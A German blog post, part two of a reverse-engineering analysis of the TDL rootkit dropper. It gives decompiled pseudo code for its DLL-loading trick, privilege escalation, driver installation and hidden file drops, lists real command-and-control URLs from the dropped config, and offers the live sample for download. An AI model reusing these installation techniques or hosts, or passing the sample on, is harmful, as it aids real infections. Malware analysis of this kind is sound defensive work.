Malware Analyse: Gefährliches Rootkit TDL – Teil 2

Der Trick mit der DLL

Nun wird es erst richtig spannend. Um noch mal zusammenzufassen: Die EXE kopiert sich ins Temp Verzeichnis und veranlasst spoolsv.exe diese EXE als DLL zu laden. Spoolsv.exe verwendet eine LoadLibrary Funktion um die DLL zu laden. Damit wir wissen was unsere Malware nun macht, müssen wir das emulieren bzw. vorgaukeln. Um das du machen ist es nötig zu wissen was bei LoadLibrary passiert. Wer schon mal eine DLL programmiert hat, kennt die DllMain Methode:

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);


Die Malware überprüft beim starten diese 3 Variablen ob sie zu einer DLL Initialisierung passen. Wenn LoadLibrary eine DLL lädt wird fdwReadon mit einer 1 gefüllt für DLL_PROCESS_ATTACH. Da es dynamisch geladen wird sollte lpvReserved mit einer 0 befüllt (siehe MSDN) sein. hinstDLL ist ein Module Base Pointer. Um die Malware zu täuschen laden wir also mediaupdt.exe in Olly und bearbeiten den Stack entsprechend. Für hinstDLL verwende ich einfach 00400000.

Wer sich noch erinnert, als normaler EXE-Start wird Speicher reserviert und das „Herz“ reingeschrieben und schließlich die Methode bei 902392 aufgerufen. In unserer gedumpten Datei ist das bei 402392 (andere Base) und wer sich die Methode mit IDA oder Olly genauer angeschaut hat, wird gemerkt haben, dass die Methode auch einige Parameter haben möchte. Mit bisschen ausprobieren und ASM Verständnis findet man die Parameter schnell, die Methode sollte ungefähr so aussehen im Quellcode des Entwicklers:

BOOL startInstall(BOOL validDLL, HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)


Die Methode wird also auch als DLL aufgerufen und die DLLEntry Parameter werden einfach an die Funktion übergeben. Der hinstDLL Parameter wird natürlich angepasst auf den zur Laufzeit erstellten Speicherbereich. In Pseudo Code sieht die Methode so aus:

if (!validDLL) //DLL oder EXE?
{
	//siehe Blog Artikel Teil 1, das ist der Start Code von oben
	//Beim DLL Start wird hier nichts mehr ausgeführt
}
if (fdwReason == DLL_PROCESS_ATTACH)
{
	LdrAddRefDll(0, lpBaseAddress);
	CreateThread(0, 0, (LPTHREAD_START_ROUTINE)90221C, lpBaseAddress, 0, 0);
	CloseHandle(var);
}


Es wird also ein neuer Thread gestartet. Weiter geht es mit 90221C bzw. 40221C in unserem Dump. Wer sich den Call Stack in Olly in der Methode mal angeschaut hat wird merken, dass als EXE der Aufruf von hier kommt:

00402CEE CALL EAX


Wer da etwas hochscrollt wird auch den Aufruf bei einer DLL schnell finden:

00402CCE CALL ESI


Man setzt also Breakpoints auf diese 2 Calls und probiert es einmal mit Manipuliertem Stack (siehe oben) und ohne Manipulierten Stack (also „normal“) aus zur Bestätigung dieser These.

Der eigentliche Installationsvorgang – Vorstufe

Wir sind kurz vor der Rootkit Treiber Install Methode. Aber zunächst kommt die Methode bei 90221C, die durch CreateThread gestartet wird. Pseudo Code:

if (RtlAdjustPrivilege(SeLoadDriverPrivilege, 1, 1, &var) < 0)
{
	VirtualAlloc(0, 0xB8000, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
	ZwQuerySystemInformation(SystemProcessThreadInfo, var, 753664, &var);
	if (RtlEqualUnicodeString(var, &var, TRUE))
	{
		ZwOpenThread(&var, 512, var, var);
		ZwImpersonateThread(-2, var, var);
		if ( RtlAdjustPrivilege(SeLoadDriverPrivilege, TRUE, TRUE, &var) >= 0 )
		{
			installRootkitTreiber(lpBaseAddress);
		}
		ZwClose(var);
	}
}


Die Methode ist schnell erklärt: Es wird geprüft ob SeLoadDriverPrivilege Rechte vorhanden sind, die gebraucht werden um den Treiber zu starten. Falls sie nicht vorhanden sind, wird versucht sie zu bekommen. Die Treiber Installation beginnt bei 90195E bzw. 40195E.

Der eigentliche Installationsvorgang – Kern

Wir sind nun mitten im Kern des Ganzen (endlich!). Hier wird es wieder mal interessant. Am Anfang werden ein paar String Operationen durchgeführt und es wird sich ein netter String zusammengebastelt mit PC Informationen. Es wird auch der MachineGuid aus der Registry ausgelesen (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\ MachineGuid). Wer langsam durchsteppt mit Olly wird auch schnell eine nette Entdeckung machen: Alle TDL Command Server tauchen in einem String auf. Diese Server dienen wohl dazu die Zombies zu steuern. Die Kommunikation findet wohl via HTTP statt.
Der erste Teil nach den String Operationen in Pseudo Code:

GetTempPathA(0x104, &PathName);
GetTempFileNameA(&PathName, 0, 0, &FileName);
CreateFileA(&FileName, 0x1F01FF, 1, 0, 2, 0, 0);
WriteFile(file, var, var, &NumberOfBytesWritten, 0); //erstelle Rootkit Treiber
CloseHandle(file);
snprintf(&var, 0x104, "system\\currentcontrolset\\services\\%s", "random number"); //zufällige nummer wird generiert
RegCreateKeyA(HKEY_LOCAL_MACHINE, &var, &var);
RegSetValueExA(var, "imagepath", 0, 2, var, var);
RegSetValueExA(var, "type", 0, 4, var, 4);
RegCloseKey(var);
ZwLoadDriver(var); //Treiber wird geladen
SHDeleteKeyA(HKEY_LOCAL_MACHINE, var); //Registry Key wird wieder gelöscht



Hier wird jetzt der Treiber im Temp Verzeichnis erstellt und geladen. Der nächste Abschnitt der Methode:

ZwOpenSymbolicLinkObject(var, 983041, var);
ZwQuerySymbolicLinkObject(var, var, 0);
CreateFileA("\\\\?\\globalroot%wZ\\bckfg.tmp", 0x1F01FF, FILE_SHARE_READ, 0, CREATE_ALWAYS, WRITE_THROUGH, 0);
WriteFile(var, var, var, &NumberOfBytesWritten, 0);
CloseHandle(var);

CreateFileA("\\\\?\\globalroot%wZ\\tdlcmd.dll", 0x1F01FF, FILE_SHARE_READ, 0, CREATE_ALWAYS, WRITE_THROUGH, 0);
WriteFile(var, var, var, &NumberOfBytesWritten, 0);
CloseHandle(var);

//mehrfach wird was reingeschrieben
WritePrivateProfileStringA(var, var, var, "config.ini");

ZwMakeTemporaryObject(var);
ZwClose(var);
DeleteFileA(var); //Rootkit Treiber im Temp Verzeichnis

kontaktiereCommandServer(); //dazu später mehr


Hier werden 3 Dateien erstellt, die man nicht sehen kann, weil sie außerhalb des Dateisystems erstellt werden. Um die Dateien trotzdem anschauen zu können habe ich einfach den Pfad bei den CreateFile und WritePrivateProfileString geändert. Am Ende werden noch die Command Server kontaktiert, dazu später mehr.

Die gedroppten Dateien

Die config.ini ist ohne extra Erklärung leicht verständlich:

[injector]
*=name
[main]
botid=08a0tr4-b153-45b2-aa18-f4tzt0d633a
affid=40755
subid=0
installdate=5.9.2010 13:33:2
builddate=3.9.2010 12:57:36
[tdlcmd]
servers=https://nichtadden.in/;https://91.212.226.67/;https://li1i16b0.com/;https://zz87jhfda88.com/;https://n16fa53.com/;https://01n02n4cx00.cc/;https://lj1i16b0.com/
wspservers=http://zl00zxcv1.com/;http://zloozxcv1.com/;http://71ha6dl01.com/;http://axjau710h.com/;http://rf9akjgh716zzl.com/;http://dsg1tsga64aa17.com/;http://l1i1e3e3oo8as0.com/;http://7gafd33ja90a.com/;http://n1mo661s6cx0.com/
popupservers=http://clkh71yhks66.com/


Die tdlcmd.dll ist wieder mal interessant. Die Datei ist mit UPX gepackt (einfach mit UPX –d unpacken). Das Rootkit dient wohl dazu, diese DLL in jeden Prozess zu injizieren. Die DLL greift aber nur folgende Prozesse an:

PathMatchSpecA(v4, "*explo*")
PathMatchSpecA(v4, "*firefox*")
PathMatchSpecA(v4, "*chrome*")
PathMatchSpecA(v4, "*opera*")
PathMatchSpecA(v4, "*safari*")
PathMatchSpecA(v4, "*netsc*")
PathMatchSpecA(v4, "*avant*")
PathMatchSpecA(v4, "*browser*")
PathMatchSpecA(v4, "*mozill*")
PathMatchSpecA(v4, "*wuauclt*")


Man sieht also, das Ding interessiert sich für Webbrowser. Diese werden dann manipuliert z.B. werden u.a. Popups untergeschoben.

Die gedroppte Treiber Datei im Temp Verzeichnis ist immer noch nicht der reine Rootkit Treiber. Er ist noch umgeben mit einer Art Installer von Microsoft. Der Treiber wird dann in das System32\Driver Verzeichnis erstellt RANDOMNAME.sys.

Was die bckfg.tmp darstellen soll weiß ich nicht. Wer will kann es gerne herausfinden.

Noch kurz etwas zur Kommunikation mit den Servern

Die Kommunikation findet wie schon erwähnt mit HTTP statt. In unserer gedumpten Datei findet man die Methode bei 4017FB bzw. 9017FB. Wenn ein 64-Bit System erkannt wird, wird sie z.B. aufgerufen, so kann man sie gut analysieren. Die HTTP Parameter werden noch leicht verschlüsselt mit der Methode bei 4010CB. Auch in der tdlcmd.dll findet man diese beiden Methoden bei Base+ 0x6D55 und Base+0x404A. Die Kommunikation findet vor allem in der tdlcmd.dll statt. Wer sie analysieren möchte, kann die DLL gerne mal in den Browser reinladen. Lässt sich dann prima debuggen ohne das man das Rootkit installiert.

Fazit

Ich könnte noch seitenweise weiter über das TDL schreiben, aber irgendwann muss auch mal Schluss sein. Ich hoffe es war interessant und ich konnte euch einen guten Einblick geben. Das Teil ist eine richtige Wundertüte und kein Vergleich zu herkömmlicher Malware, die meist nur aus einer Datei bestehen. In dem TDL steckt auch noch mehr interessantes, deshalb werde ich die Datei zum Download anbieten und wer will kann auch mal das Teil zerlegen. Spaß macht es auf jeden Fall.

Download auf eigene Gefahr: TDL Rootkit

2 Gedanken zu „Malware Analyse: Gefährliches Rootkit TDL – Teil 2“

  1. lOl, jetzt weiß, ich warum du n Malware Schreck bist :D

    Is aber ganz interessant, auch wenn ich nich sooo viel verstanden habe ^^

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert *